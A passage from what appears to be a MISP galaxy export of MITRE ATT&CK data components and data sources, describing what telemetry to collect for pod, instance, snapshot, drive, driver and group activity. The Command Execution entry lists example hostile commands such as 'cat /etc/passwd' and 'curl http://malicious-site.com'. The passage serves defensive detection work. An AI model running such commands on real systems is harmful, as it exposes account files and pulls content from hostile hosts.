- Collect runtime-level logs from tools like CRI-O, containerd, or Docker, which might show relevant API calls for pod enumeration.
- EDR and SIEM:
- Endpoint Detection and Response (EDR) tools, if configured with cluster-level visibility, can monitor user commands like `kubectl get pods`.
- SIEM platforms (e.g., Splunk) can ingest Kubernetes API logs to detect enumeration patterns.
- Host-Based Monitoring:
- Monitor processes and commands executed on nodes where `kubectl` is installed using tools like auditd, Sysmon for Linux, or kernel modules.

The tag is: *misp-galaxy:mitre-data-component="Pod Enumeration - DC0037"*

Table 9693. Table References

Links
https://attack.mitre.org/datacomponents/DC0037

Instance Modification - DC0073

Changes made to a virtual machine (VM) or compute instance, including alterations to its configuration, metadata, attached policies, or operational state. Such modifications can include

updating metadata, attaching or detaching resource policies, resizing instances, or modifying network configurations. Examples:

- AWS: instance modifications include API actions like `ModifyInstanceAttribute`, `ModifyInstanceMetadataOptions`, or `RebootInstances`.
- Azure: modifications can be tracked through operations like `Microsoft.Compute/virtualMachines/write`.
- GCP: instance modification events include operations like `instances.setMetadata`, `instances.addResourcePolicies`, or `instances.resize`.

Data Collection Measures:

- AWS CloudTrail: Log Location: Stored in S3 or forwarded to CloudWatch.
- Azure Activity Logs: Log Location: Accessible via Azure Monitor or exported to a storage account.
- GCP Audit Logs: Log Location: Logs Explorer or BigQuery.

The tag is: *misp-galaxy:mitre-data-component="Instance Modification - DC0073"*

Table 9694. Table References

Links
https://attack.mitre.org/datacomponents/DC0073

File Creation - DC0039

A new file is created on a system or network storage. This action often signifies an operation such as saving a document, writing data, or deploying a file. Logging these events helps identify legitimate or potentially malicious file creation activities. Examples include logging file creation events (e.g., Sysmon Event ID 11 or Linux auditd logs).

The tag is: *misp-galaxy:mitre-data-component="File Creation - DC0039"*

Table 9695. Table References

Links
https://attack.mitre.org/datacomponents/DC0039

Certificate Registration - DC0093

Certificate Registration refers to the collection and analysis of information about digital certificates, including current, revoked, and expired certificates. Sources such as Certificate Transparency logs and other public resources provide visibility into certificates issued for specific domains or organizations. Monitoring certificate registrations can help identify potential misuse, such as unauthorized certificates or signs of adversary reconnaissance. Examples:

- Certificate Transparency Logs: These logs record the issuance of SSL/TLS certificates by trusted

Certificate Authorities (CAs).

- Revoked Certificates: Information about certificates that have been invalidated before their expiration date.
- Expired Certificates: Reports of expired certificates for a domain, which may indicate lax security practices or opportunities for adversaries to exploit expired credentials.
- Domain Monitoring for Certificates: Maps SSL/TLS certificates to domains and subdomains, helping to identify any rogue certificates.
- Public Certificate Directories: Services providing APIs to query issued certificates for analysis.

This data component can be collected through the following measures:

Use Certificate Transparency Monitors

- Tools like crt.sh, CertStream, or APIs provided by certificate authorities (CAs) allow you to monitor issued certificates in real-time.
- Example: Use CertStream to stream certificate issuance logs and filter for domains of interest.

Analyze Certificate Revocation Sources

- Monitor CRLs or query OCSP responders to detect revoked certificates.
- Configure tools like OpenSSL or browsers to validate certificate revocation status automatically.

Leverage Public Scanning Tools

- Use tools such as SSL Labs, Censys, or Shodan to scan for certificate details related to your domain or network.

Automate Certificate Monitoring

- Set up automated scripts or services to parse Certificate Transparency logs for anomalies.
- Example: Automate searches on crt.sh to identify certificates issued for typo-squatted domains.

Integrate with Threat Intelligence

- Enrich certificate data with threat intelligence feeds to detect connections to known adversary-controlled infrastructure.
- Tools like VirusTotal can identify malicious certificates based on associated indicators.

The tag is: *misp-galaxy:mitre-data-component="Certificate Registration - DC0093"*

Table 9696. Table References

Links
https://attack.mitre.org/datacomponents/DC0093

Firewall Enumeration - DC0044

Querying and extracting a list of available firewalls or their associated configurations and rules. This activity can occur across host systems and cloud control planes, providing insight into the state and configuration of firewalls that protect the environment. Examples:

- Querying Host-Based Firewalls: Using Windows PowerShell commands like `Get-NetFirewallRule` or Linux commands such as `iptables -L` or `firewalld --list-all`.
- Cloud Firewall Rule Listing: Running commands like `az network firewall list` for Azure or `aws ec2 describe-security-groups` for AWS.
- Using Management APIs: Leveraging APIs like Google Cloud Firewall's `list` API method or AWS's DescribeSecurityGroups API. Identifying Misconfigurations: Extracting firewall rules to identify "allow all" policies or rules that lack logging.
- Enumerating with CLI Tools: Using CLI commands like `gcloud compute firewall-rules list` to extract firewall settings in Google Cloud.

The tag is: *misp-galaxy:mitre-data-component="Firewall Enumeration - DC0044"*

Table 9697. Table References

Links
https://attack.mitre.org/datacomponents/DC0044

Drive Access - DC0054

Refers to the act of accessing a data storage device, such as a hard drive, SSD, USB, or network-mounted drive. This data component logs the opening or mounting of drives, capturing activities such as reading, writing, or executing files within an assigned drive letter (e.g., `C:\`, `/mnt/drive`) or mount point. Examples:

- Removable Drive Insertion: A USB drive is inserted, assigned the letter `F:\`, and files are accessed.
- Network Drive Mounting: A network share `\\server\share` is mapped to the drive `Z:\`.
- External Hard Drive Access: An external drive is connected, mounted at `/mnt/backup`, and accessed for copying files.
- System Volume Access: The system volume `C:\` is accessed for modifications to critical files.
- Cloud-Synced Drives: Cloud storage drives like OneDrive or Google Drive are accessed via local mounts.

The tag is: *misp-galaxy:mitre-data-component="Drive Access - DC0054"*

Table 9698. Table References

Links
https://attack.mitre.org/datacomponents/DC0054

Command Execution - DC0064

Command Execution involves monitoring and capturing the execution of textual commands (including shell commands, cmdlets, and scripts) within an operating system or application. These commands may include arguments or parameters and are typically executed through interpreters such as `cmd.exe`, `bash`, `zsh`, `PowerShell`, or programmatic execution. Examples:

- Windows Command Prompt
- dir – Lists directory contents.
- net user – Queries or manipulates user accounts.
- tasklist – Lists running processes.
- PowerShell
- Get-Process – Retrieves processes running on a system.
- Set-ExecutionPolicy – Changes PowerShell script execution policies.
- Invoke-WebRequest – Downloads remote resources.
- Linux Shell
- ls – Lists files in a directory.
- cat /etc/passwd – Reads the user accounts file.
- curl http://malicious-site.com – Retrieves content from a malicious URL.
- Container Environments
- docker exec – Executes a command inside a running container.
- kubectl exec – Runs commands in Kubernetes pods.
- macOS Terminal
- open – Opens files or URLs.
- dscl . -list /Users – Lists all users on the system.
- osascript -e – Executes AppleScript commands.

The tag is: *misp-galaxy:mitre-data-component="Command Execution - DC0064"*

Table 9699. Table References

Links
https://attack.mitre.org/datacomponents/DC0064

Drive Modification - DC0046

The alteration of a drive letter, mount point, or other attributes of a data storage device, which could involve reassignment, renaming, permissions changes, or other modifications. Examples:

- Drive Letter Reassignment: A USB drive previously assigned `E:\` is reassigned to `D:\` on a Windows machine.

- Mount Point Change: On a Linux system, a mounted storage device at `/mnt/external` is moved to `/mnt/storage`.
- Drive Permission Changes: A shared drive's permissions are modified to allow write access for unauthorized users or processes.
- Renaming of a Drive: A network drive labeled "HR_Share" is renamed to "Shared_Resources."
- Modification of Cloud-Integrated Drives: A cloud storage mount such as Google Drive is modified to sync only specific folders.

This data component can be collected through the following measures:

Windows Event Logs

- Relevant Events:
- Event ID 98: Indicates changes to a volume (e.g., drive letter reassignment).
- Event ID 1006: Logs permission modifications or changes to removable storage.
- Configuration: Enable "Storage Operational Logs" in the Event Viewer: `Applications and Services Logs > Microsoft > Windows > Storage-Tiering > Operational`

Linux System Logs

- Auditd Configuration: Add audit rules to track changes to mounted drives: `auditctl -w /mnt/ -p w -k drive_modification`
- Command-Line Monitoring: Use `dmesg` or `journalctl` to observe drive modifications.

macOS System Logs

- Unified Logs: Collect mount or drive modification events: `log show --info | grep "Volume modified"`
- Command-Line Monitoring: Use `diskutil` to track changes:

Endpoint Detection and Response (EDR) Tools

- Configure policies in EDR solutions to monitor and log changes to drive configurations or attributes.

SIEM Tools

- Aggregate logs from multiple systems into a centralized platform like Splunk to correlate events and alert on suspicious drive modification activities.

The tag is: *misp-galaxy:mitre-data-component="Drive Modification - DC0046"*

Table 9700. Table References

Links
https://attack.mitre.org/datacomponents/DC0046

Driver Metadata - DC0074

to contextual data about a driver, including its attributes, functionality, and activity. This can involve details such as the driver's origin, integrity, cryptographic signature, issues reported during its use, and runtime behavior. Examples include metadata captured during driver integrity checks, hash validation, or error reporting. Examples:

- Driver Signature Validation: A driver is validated to ensure it is signed by a trusted Certificate Authority (CA).
- Driver Hash Verification: The hash of a driver is compared to a known good hash stored in a database.
- Driver Compatibility Issues: A driver error is logged due to compatibility issues with a particular version of the operating system.
- Vulnerable Driver Identification: Metadata indicates the driver version is outdated or contains a known vulnerability.
- Monitoring Driver Integrity: Drivers are monitored for any unauthorized modifications to their binary or associated files.

This data component can be collected through the following measures:

Windows

- Windows Event Logs:
- Event ID 3000-3006: Logs metadata about driver signature validation.
- Event ID 2000-2011 (Windows Defender Application Control): Tracks driver integrity and policy enforcement.
- Sysmon Logs: Configure Sysmon to capture driver loading metadata (Event ID 6).
- Driver Verifier: Use Driver Verifier to collect diagnostic and performance data about drivers, including stability and compatibility metrics.
- PowerShell: Use commands to retrieve metadata about installed drivers: `Get-WindowsDriver -Online | Select-Object Driver, ProviderName, Version`

Linux

- Auditd: Configure audit rules to monitor driver interactions and collect metadata: `auditctl -w /lib/modules/ -p rwxa -k driver_metadata`
- dmesg: Use `dmesg` to extract kernel logs with driver metadata: `dmesg | grep "module"`
- lsmod and modinfo: Commands to list loaded modules and retrieve metadata about drivers: `lsmod` | `modinfo <module_name>`

macOS

- Unified Logs: Collect metadata from system logs about kernel extensions (kexts): `log show --predicate 'eventMessage contains "kext load"' --info`
- kextstat: Command to retrieve information about loaded kernel extensions: `kextstat`

SIEM Tools

- Ingest Driver Metadata: Collect driver metadata logs from Sysmon, Auditd, or macOS logs into SIEMs like Splunk or Elastic.

Vulnerability Management Tools

- Use these tools to collect metadata about vulnerable drivers across enterprise systems.

The tag is: *misp-galaxy:mitre-data-component="Driver Metadata - DC0074"*

Table 9701. Table References

Links
https://attack.mitre.org/datacomponents/DC0074

Snapshot Enumeration - DC0047

The process of listing or retrieving metadata about existing snapshots in a cloud environment.

Data Collection Measures:

- AWS CloudTrail
- Logs API calls such as `DescribeSnapshots`, `ListSnapshots`, and `GetSnapshotAttributes`.
- Azure Monitor Logs
- Tracks snapshot enumeration via `Microsoft.Compute/snapshots/read`.
- Google Cloud Logging
- Detects snapshot listing through `compute.disks.listSnapshots`.

The tag is: *misp-galaxy:mitre-data-component="Snapshot Enumeration - DC0047"*

Table 9702. Table References

Links
https://attack.mitre.org/datacomponents/DC0047

Snapshot Deletion - DC0049

The removal of a point-in-time backup of a cloud storage volume, virtual machine (VM), or database.

Data Collection Measures:

- AWS CloudTrail
- Logs `DeleteSnapshot` API calls in EC2, RDS, and EBS services.
- Azure Monitor Logs
- Tracks snapshot deletions via `Microsoft.Compute/snapshots/delete` API calls.

- Google Cloud Logging
- Detects snapshot removal through `compute.disks.deleteSnapshot` events.

The tag is: *misp-galaxy:mitre-data-component="Snapshot Deletion - DC0049"*

Table 9703. Table References

Links
https://attack.mitre.org/datacomponents/DC0049

Group Modification - DC0094

Changes made to a group, such as membership, name, or permissions (ex: Windows EID 4728 or 4732, AWS IAM UpdateGroup). Examples:

- Active Directory:
- Event ID 4728: Member added to a global group.
- Event ID 4732: Member added to a local group.
- Azure AD: `Set-AzureADGroup -ObjectId <GroupId> -DisplayName "New Name"`
- AWS IAM: `aws iam update-group --group-name <GroupName> --new-path "/admin/"`
- Google Workspace: Modify permissions via Admin SDK API: <code>PATCH <a href="https://admin.googleapis.com/admin/directory/v1/groups/<groupKey>" class="bare">https://admin.googleapis.com/admin/directory/v1/groups/<groupKey>;</code>
- Office 365: Modify groups via Graph API: <code>PATCH <a href="https://graph.microsoft.com/v1.0/groups/<groupId>" class="bare">https://graph.microsoft.com/v1.0/groups/<groupId>;</code>

Data Collection Measures:

- Directory Logging:
- Windows: Log EIDs 4728 (add), 4729 (remove).
- Azure AD: Enable "Audit logs."
- Google Workspace: Enable Admin Activity logs.
- Office 365: Use Unified Audit Logs.
- Cloud Monitoring:
- AWS: Log `UpdateGroup`, `AttachGroupPolicy`, `RemoveUserFromGroup`.
- Azure: Track modifications via Audit logs.
- API Monitoring: Log Google Admin SDK and Microsoft Graph API calls.
- SIEM Integration: Centralize and monitor group modification logs.

The tag is: *misp-galaxy:mitre-data-component="Group Modification - DC0094"*

Table 9704. Table References

Links
https://attack.mitre.org/datacomponents/DC0094

File Access - DC0055

To events where a file is opened or accessed, making its contents available to the requester. This includes reading, executing, or interacting with files by authorized or unauthorized entities. Examples include logging file access events (e.g., Windows Event ID 4663), monitoring file reads, and detecting unusual file access patterns. Examples:

- File Read Operations: A user opens a sensitive document (e.g., financial_report.xlsx) on a shared drive.
- File Execution: A script or executable file is accessed and executed (e.g., malware.exe is run from a temporary directory).
- Unauthorized File Access: An unauthorized user attempts to access a protected configuration file (e.g., `/etc/passwd` on Linux or `System32` files on Windows).
- File Access Patterns: Bulk access to multiple files in a short time (e.g., mass access to documents on a file server).
- File Access via Network: Files on a network share are accessed remotely (e.g., logs of SMB file access).

The tag is: *misp-galaxy:mitre-data-component="File Access - DC0055"*

Table 9705. Table References

Links
https://attack.mitre.org/datacomponents/DC0055

Service Modification - DC0065

Changes made to an existing service or daemon, such as modifying the service name, start type, execution parameters, or security configurations.

The tag is: *misp-galaxy:mitre-data-component="Service Modification - DC0065"*

Table 9706. Table References

Links
https://attack.mitre.org/datacomponents/DC0065

Snapshot Creation - DC0057

The process of taking a point-in-time copy of a cloud storage volume (files, settings, configurations, etc.), virtual machine (VM), or database that can be created and deployed in cloud environments.

The tag is: *misp-galaxy:mitre-data-component="Snapshot Creation - DC0057"*

Table 9707. Table References

Links
https://attack.mitre.org/datacomponents/DC0057

Instance Enumeration - DC0075

The process of retrieving or querying a list of virtual machine instances or compute instances within a cloud infrastructure. This activity provides a view of all available or running instances, typically including their associated metadata such as instance ID, name, state, and configuration details. Examples:

- AWS: instance enumeration involves the `DescribeInstances` API call, which retrieves information about running or stopped EC2 instances.
- Azure: VM enumeration can be monitored via the `Microsoft.Compute/virtualMachines/read` operation.
- GCP: instance enumeration is logged as an `instance.list` operation within GCP Audit Logs.

Data Collection Measures:

- AWS CloudTrail: CloudTrail logs stored in S3 or forwarded to CloudWatch.
- Azure Activity Logs: Accessible via Azure Monitor or exported to a storage account.
- GCP Audit Logs: Logs Explorer or BigQuery.

The tag is: *misp-galaxy:mitre-data-component="Instance Enumeration - DC0075"*

Table 9708. Table References

Links
https://attack.mitre.org/datacomponents/DC0075

Snapshot Modification - DC0058

Changes made to a cloud snapshot's metadata, attributes, or control settings. These modifications may involve adjusting access permissions, changing retention policies, or altering encryption settings.

Data Collection Measures:

- AWS CloudTrail
- Tracks API calls such as `ModifySnapshotAttribute`, `ResetSnapshotAttribute`, and `ModifySnapshotTier`.
- Azure Monitor Logs
- Logs changes via `Microsoft.Compute/snapshots/write`.

- Google Cloud Logging
- Captures modifications through `compute.snapshots.setIamPolicy` and `compute.snapshots.patch`.

The tag is: *misp-galaxy:mitre-data-component="Snapshot Modification - DC0058"*

Table 9709. Table References

Links
https://attack.mitre.org/datacomponents/DC0058

Volume Enumeration - DC0095

An extracted list of available volumes within a cloud environment (ex: AWS describe-volumes)

The tag is: *misp-galaxy:mitre-data-component="Volume Enumeration - DC0095"*

Table 9710. Table References

Links
https://attack.mitre.org/datacomponents/DC0095

File Metadata - DC0059

contextual information about a file, including attributes such as the file's name, size, type, content (e.g., signatures, headers, media), user/owner, permissions, timestamps, and other related properties. File metadata provides insights into a file's characteristics and can be used to detect malicious activity, unauthorized modifications, or other anomalies. Examples:

- File Ownership and Permissions: Checking the owner and permissions of a critical configuration file like /etc/passwd on Linux or C:\Windows\System32\config\SAM on Windows.
- Timestamps: Analyzing the creation, modification, and access timestamps of a file.
- File Content and Signatures: Extracting the headers of an executable file to verify its signature or detect packing/obfuscation.
- File Attributes: Analyzing attributes like hidden, system, or read-only flags in Windows.
- File Hashes: Generating MD5, SHA-1, or SHA-256 hashes of files to compare against threat intelligence feeds.
- File Location: Monitoring files located in unusual directories or paths, such as temporary or user folders.

The tag is: *misp-galaxy:mitre-data-component="File Metadata - DC0059"*

Table 9711. Table References

Links
https://attack.mitre.org/datacomponents/DC0059

Instance Creation - DC0076

The initial provisioning and construction of a virtual machine (VM) or compute instance within a cloud infrastructure environment. This activity involves defining and allocating resources such as CPU, memory, storage, and networking to spin up a new compute instance. Examples:

- AWS: creating an EC2 instance using RunInstances API calls.
- Azure, creating a VM through the Azure Resource Manager (ARM).
- GCP, an `instance.insert` action recorded.

The tag is: *misp-galaxy:mitre-data-component="Instance Creation - DC0076"*

Table 9712. Table References

Links
https://attack.mitre.org/datacomponents/DC0076

Instance Metadata - DC0086

Contextual data about an instance and activity around it such as name, type, or status

The tag is: *misp-galaxy:mitre-data-component="Instance Metadata - DC0086"*

Table 9713. Table References

Links
https://attack.mitre.org/datacomponents/DC0086

Passive DNS - DC0096

"Domain Name: Passive DNS" captures logged historical and real-time domain name system (DNS) data. This includes records of domain-to-IP address resolutions over time, enabling analysts to track the evolution of domain infrastructure, uncover historical patterns of use, and detect malicious activities tied to domains and their associated IP addresses. Examples:

- Historical Resolutions
- Shared IP Usage
- Temporal Patterns
- Malicious Domain Clustering
- Historical Lookback

This data component can be collected through the following measures:

- Passive DNS Platforms: Use platforms that specialize in passive DNS collection and analysis:
- Tools: Farsight DNSDB, RiskIQ PassiveTotal, PassiveDNS.
- Threat Intelligence Feeds: Integrate passive DNS data from commercial or open-source threat

intelligence providers.

- Custom DNS Collectors: Deploy custom tools to capture DNS traffic at the network level for analysis.
- Cloud DNS Services: Leverage cloud DNS services (e.g., AWS Route 53, Azure DNS) that maintain DNS query logs.

The tag is: *misp-galaxy:mitre-data-component="Passive DNS - DC0096"*

Table 9714. Table References

Links
https://attack.mitre.org/datacomponents/DC0096

Container Start - DC0077

"Container Start" data component captures events related to the activation or invocation of a container within a containerized environment. This includes starting a previously stopped container, restarting an existing container, or initializing a container for runtime. Monitoring these activities is critical for identifying unauthorized or unexpected container activations, which may indicate potential adversarial activity or misconfigurations. Examples:

- Docker Example: `docker start <container_name>`, `docker restart <container_name>`
- Kubernetes Example: Kubernetes automatically restarts containers as part of pod lifecycle management (e.g., due to health checks or configuration changes).
- Cloud-Native Example
- AWS ECS: API Call: StartTask to activate a stopped ECS task.
- Azure Container Instances: Command to restart a container group instance.
- GCP Kubernetes Engine: Automatic restarts as part of node or pod management.

This data component can be collected through the following measures:

- Docker Audit Logging: Enable Docker logging to capture start and restart events. Use tools like auditd to monitor terminal activity involving container lifecycle commands.
- Kubernetes Audit Logs: Enable Kubernetes API server audit logging.
- Cloud Provider Logs
- AWS CloudTrail: Capture StartTask or related API calls for ECS.
- Azure Monitor: Track activity in container groups that indicate start or restart events.
- GCP Cloud Logging: Record logs related to pod restarts or scaling events in Kubernetes Engine.
- SIEM Integration: Collect logs from Docker, Kubernetes, and cloud services to correlate container start events.

The tag is: *misp-galaxy:mitre-data-component="Container Start - DC0077"*

Table 9715. Table References

Links
https://attack.mitre.org/datacomponents/DC0077

Volume Creation - DC0097

The initial provisioning of block storage volumes in cloud or on-prem environments, typically used for data storage, backup, or workload scaling.

The tag is: *misp-galaxy:mitre-data-component="Volume Creation - DC0097"*

Table 9716. Table References

Links
https://attack.mitre.org/datacomponents/DC0097

Driver Load - DC0079

The process of attaching a driver, which is a software component that allows the operating system and applications to interact with hardware devices, to either user-mode or kernel-mode of a system. This can include benign actions (e.g., hardware drivers) or malicious behavior (e.g., rootkits or unsigned drivers). Examples:

- Legitimate Driver Loading: A new graphics driver from a vendor like NVIDIA or AMD is loaded into the system.
- Unsigned Driver Loading: A driver without a valid digital signature is loaded into the kernel.
- Rootkit Installation: A malicious rootkit driver is loaded to manipulate kernel-mode processes.
- Anti-Virus or EDR Driver Loading: An Endpoint Detection and Response (EDR) solution loads its driver to monitor system activities.
- Driver Misuse: A legitimate driver is loaded and exploited to execute malicious actions, such as using vulnerable drivers for bypassing defenses (e.g., Bring Your Own Vulnerable Driver (BYOVD) attacks).

The tag is: *misp-galaxy:mitre-data-component="Driver Load - DC0079"*

Table 9717. Table References

Links
https://attack.mitre.org/datacomponents/DC0079

Volume Deletion - DC0098

The removal of a cloud-based or on-premise block storage volume. This action permanently deletes the allocated storage and may result in data loss if not backed up.

Data Collection Measures:

- Cloud Logging & APIs
- AWS CloudTrail Logs
- `eventName: DeleteVolume` (tracks volume deletions)
- Azure Monitor Logs
- `operationName: Microsoft.Compute/disks/delete`
- `status: Success | Failure` (flag unauthorized delete attempts)
- Google Cloud Audit Logs
- `protoPayload.methodName: "v1.compute.disks.delete"`
- `authenticationInfo.principalEmail` (identifies the user deleting the volume)
- System & Host-Based Logging
- Linux & macOS Logs:
- `/var/log/syslog` or `/var/log/messages` for volume detach/deletion actions
- Windows Event Logs:
- Event ID 98 (Storage Class Memory)
- Event ID 225 (Volume Removal Detected)
- Event ID 12 (Disk Removal Notification)

The tag is: *misp-galaxy:mitre-data-component="Volume Deletion - DC0098"*

Table 9718. Table References

Links
https://attack.mitre.org/datacomponents/DC0098

Instance Stop - DC0089

The deactivation or shutdown of a virtual machine instance within a cloud infrastructure. This action typically involves stopping a running instance, which halts its operation and releases certain associated resources, such as CPU and memory. Examples:

- Google Cloud Platform (GCP): `instance.stop` events recorded in GCP Audit Logs indicate the deactivation of an instance.
- Amazon Web Services (AWS): `StopInstances` actions in AWS CloudTrail indicate EC2 instances being stopped.
- Microsoft Azure: `Microsoft.Compute/virtualMachines/deallocate` or `stop` events in Azure Activity Logs represent a virtual machine being stopped or deallocated.

The tag is: *misp-galaxy:mitre-data-component="Instance Stop - DC0089"*

Table 9719. Table References

Links

https://attack.mitre.org/datacomponents/DC0089

Group Enumeration - DC0099

Extracting group lists from identity systems identifies permissions, roles, or configurations. Adversaries may exploit high-privilege groups or misconfigurations. Examples:

- AWS CLI: `aws iam list-groups`
- PowerShell: `Get-ADGroup -Filter *`
- (Saas) Google Workspace: Admin SDK Directory API
- Azure: `Get-AzureADGroup`
- Microsoft 365: Graph API `GET https://graph.microsoft.com/v1.0/groups`

Data Collection Measures:

- Cloud Logging: Enable AWS CloudTrail, Azure Activity Logs, and Google Workspace Admin Logs for group-related actions.
- Directory Monitoring: Track logs like AD Event ID 4662 (object operations).
- API Monitoring: Log API activity like AWS IAM queries.
- SaaS Monitoring: Use platform logs (e.g., Office 365 Unified Audit Logs).
- SIEM Integration: Centralize group query tracking.

The tag is: *misp-galaxy:mitre-data-component="Group Enumeration - DC0099"*

Table 9720. Table References

Links
https://attack.mitre.org/datacomponents/DC0099

API Calls - DC0112

API calls utilized by an application that could indicate malicious activity

The tag is: *misp-galaxy:mitre-data-component="API Calls - DC0112"*

Table 9721. Table References

Links
https://attack.mitre.org/datacomponents/DC0112

Pod Metadata - DC0121

Contextual data about a pod and activity around it such as name, ID, namespace, or status

The tag is: *misp-galaxy:mitre-data-component="Pod Metadata - DC0121"*

Table 9722. Table References

Links
https://attack.mitre.org/datacomponents/DC0121

Network Communication - DC0113

Network requests made by an application or domains contacted

The tag is: *misp-galaxy:mitre-data-component="Network Communication - DC0113"*

Table 9723. Table References

Links
https://attack.mitre.org/datacomponents/DC0113

Permissions Requests - DC0114

Permissions declared in an application's manifest or property list file

The tag is: *misp-galaxy:mitre-data-component="Permissions Requests - DC0114"*

Table 9724. Table References

Links
https://attack.mitre.org/datacomponents/DC0114

Protected Configuration - DC0115

Device configuration options that are not typically utilized by benign applications

The tag is: *misp-galaxy:mitre-data-component="Protected Configuration - DC0115"*

Table 9725. Table References

Links
https://attack.mitre.org/datacomponents/DC0115

Permissions Request - DC0116

System prompts triggered when an application requests new or additional permissions

The tag is: *misp-galaxy:mitre-data-component="Permissions Request - DC0116"*

Table 9726. Table References

Links
https://attack.mitre.org/datacomponents/DC0116

System Notifications - DC0117

Notifications generated by the OS

The tag is: *misp-galaxy:mitre-data-component="System Notifications - DC0117"*

Table 9727. Table References

Links
https://attack.mitre.org/datacomponents/DC0117

System Settings - DC0118

Settings visible to the user on the device

The tag is: *misp-galaxy:mitre-data-component="System Settings - DC0118"*

Table 9728. Table References

Links
https://attack.mitre.org/datacomponents/DC0118

Application Assets - DC0119

Additional assets included with an application

The tag is: *misp-galaxy:mitre-data-component="Application Assets - DC0119"*

Table 9729. Table References

Links
https://attack.mitre.org/datacomponents/DC0119

Container Metadata - DC0122

Contextual data about a container and activity around it such as name, ID, image, or status

The tag is: *misp-galaxy:mitre-data-component="Container Metadata - DC0122"*

Table 9730. Table References

Links
https://attack.mitre.org/datacomponents/DC0122

mitre-data-source

Data sources represent the various subjects/topics of information that can be collected by sensors/logs. .

mitre-data-source is a cluster galaxy available in JSON format at **this location** The JSON format can be freely reused in your application or automatically enabled in MISP.

authors

MITRE

Cloud Storage - DS0010

Data object storage infrastructure hosted on-premise or by third-party providers, made available to users through network connections and/or APIs(Citation: Amazon S3)(Citation: Azure Blob Storage)(Citation: Google Cloud Storage)

The tag is: *misp-galaxy:mitre-data-source="Cloud Storage - DS0010"*

Table 9731. Table References

Links
https://attack.mitre.org/datasources/DS0010
https://aws.amazon.com/s3/
https://azure.microsoft.com/en-us/products/storage/blobs/
https://cloud.google.com/storage

User Account - DS0002

A profile representing a user, device, service, or application used to authenticate and access resources

The tag is: *misp-galaxy:mitre-data-source="User Account - DS0002"*

Table 9732. Table References

Links
https://attack.mitre.org/datasources/DS0002

Scheduled Job - DS0003

Automated tasks that can be executed at a specific time or on a recurring schedule running in the background (ex: Cron daemon, task scheduler, BITS)(Citation: Microsoft Tasks)

The tag is: *misp-galaxy:mitre-data-source="Scheduled Job - DS0003"*

Table 9733. Table References

Links
https://attack.mitre.org/datasources/DS0003

https://docs.microsoft.com/en-us/windows/win32/taskschd/tasks

Malware Repository - DS0004

Information obtained (via shared or submitted samples) regarding malicious software (droppers, backdoors, etc.) used by adversaries

The tag is: *misp-galaxy:mitre-data-source="Malware Repository - DS0004"*

Table 9734. Table References

Links
https://attack.mitre.org/datasources/DS0004

Web Credential - DS0006

Credential material, such as session cookies or tokens, used to authenticate to web applications and services(Citation: Medium Authentication Tokens)(Citation: Auth0 Access Tokens)

The tag is: *misp-galaxy:mitre-data-source="Web Credential - DS0006"*

Table 9735. Table References

Links
https://attack.mitre.org/datasources/DS0006
https://auth0.com/docs/tokens/access-tokens
https://medium.com/@sherryhsu/session-vs-token-based-authentication-11a6c5ac45e4

Sensor Health - DS0013

Information from host telemetry providing insights about system status, errors, or other notable functional activity

The tag is: *misp-galaxy:mitre-data-source="Sensor Health - DS0013"*

Table 9736. Table References

Links
https://attack.mitre.org/datasources/DS0013

Application Vetting - DS0041

Application vetting report generated by an external cloud service.

The tag is: *misp-galaxy:mitre-data-source="Application Vetting - DS0041"*

Table 9737. Table References

Links
https://attack.mitre.org/datasources/DS0041

Application Log - DS0015

Events collected by third-party services such as mail servers, web applications, or other appliances (not by the native OS or platform)(Citation: Confluence Logs)

The tag is: *misp-galaxy:mitre-data-source="Application Log - DS0015"*

Table 9738. Table References

Links
https://attack.mitre.org/datasources/DS0015
https://confluence.atlassian.com/doc/working-with-confluence-logs-108364721.html

Named Pipe - DS0023

Mechanisms that allow inter-process communication locally or over the network. A named pipe is usually found as a file and processes attach to it(Citation: Microsoft Named Pipes)

The tag is: *misp-galaxy:mitre-data-source="Named Pipe - DS0023"*

Table 9739. Table References

Links
https://attack.mitre.org/datasources/DS0023
https://docs.microsoft.com/en-us/windows/win32/ipc/named-pipes

User Interface - DS0042

Visual activity on the device that could alert the user to potentially malicious behavior.

The tag is: *misp-galaxy:mitre-data-source="User Interface - DS0042"*

Table 9740. Table References

Links
https://attack.mitre.org/datasources/DS0042

Windows Registry - DS0024

A Windows OS hierarchical database that stores much of the information and settings for software programs, hardware devices, user preferences, and operating-system configurations(Citation: Microsoft Registry)

The tag is: *misp-galaxy:mitre-data-source="Windows Registry - DS0024"*

Table 9741. Table References

Links
https://attack.mitre.org/datasources/DS0024
https://docs.microsoft.com/en-us/windows/win32/sysinfo/registry

Cloud Service - DS0025

Infrastructure, platforms, or software that are hosted on-premise or by third-party providers, made available to users through network connections and/or APIs(Citation: Amazon AWS)(Citation: Azure Products)

The tag is: *misp-galaxy:mitre-data-source="Cloud Service - DS0025"*

Table 9742. Table References

Links
https://attack.mitre.org/datasources/DS0025
https://aws.amazon.com
https://azure.microsoft.com/en-us/products/

Active Directory - DS0026

A database and set of services that allows administrators to manage permissions, access to network resources, and stored data objects (user, group, application, or devices)(Citation: Microsoft AD DS Getting Started)

The tag is: *misp-galaxy:mitre-data-source="Active Directory - DS0026"*

Table 9743. Table References

Links
https://attack.mitre.org/datasources/DS0026
https://docs.microsoft.com/en-us/windows-server/identity/ad-ds/ad-ds-getting-started

Logon Session - DS0028

Logon occurring on a system or resource (local, domain, or cloud) to which a user/device is gaining access after successful authentication and authorization(Citation: Microsoft Audit Logon Events)

The tag is: *misp-galaxy:mitre-data-source="Logon Session - DS0028"*

Table 9744. Table References

Links
https://attack.mitre.org/datasources/DS0028

https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/basic-audit-logon-events

Network Traffic - DS0029

Data transmitted across a network (ex: Web, DNS, Mail, File, etc.), that is either summarized (ex: Netflow) and/or captured as raw data in an analyzable format (ex: PCAP)

The tag is: *misp-galaxy:mitre-data-source="Network Traffic - DS0029"*

Table 9745. Table References

Links
https://attack.mitre.org/datasources/DS0029

Network Share - DS0033

A storage resource (typically a folder or drive) made available from one host to others using network protocols, such as Server Message Block (SMB) or Network File System (NFS)(Citation: Microsoft NFS Overview)

The tag is: *misp-galaxy:mitre-data-source="Network Share - DS0033"*

Table 9746. Table References

Links
https://attack.mitre.org/datasources/DS0033
https://docs.microsoft.com/en-us/windows-server/storage/nfs/nfs-overview

Internet Scan - DS0035

Information obtained (commonly via active network traffic probes or web crawling) regarding various types of resources and servers connected to the public Internet

The tag is: *misp-galaxy:mitre-data-source="Internet Scan - DS0035"*

Table 9747. Table References

Links
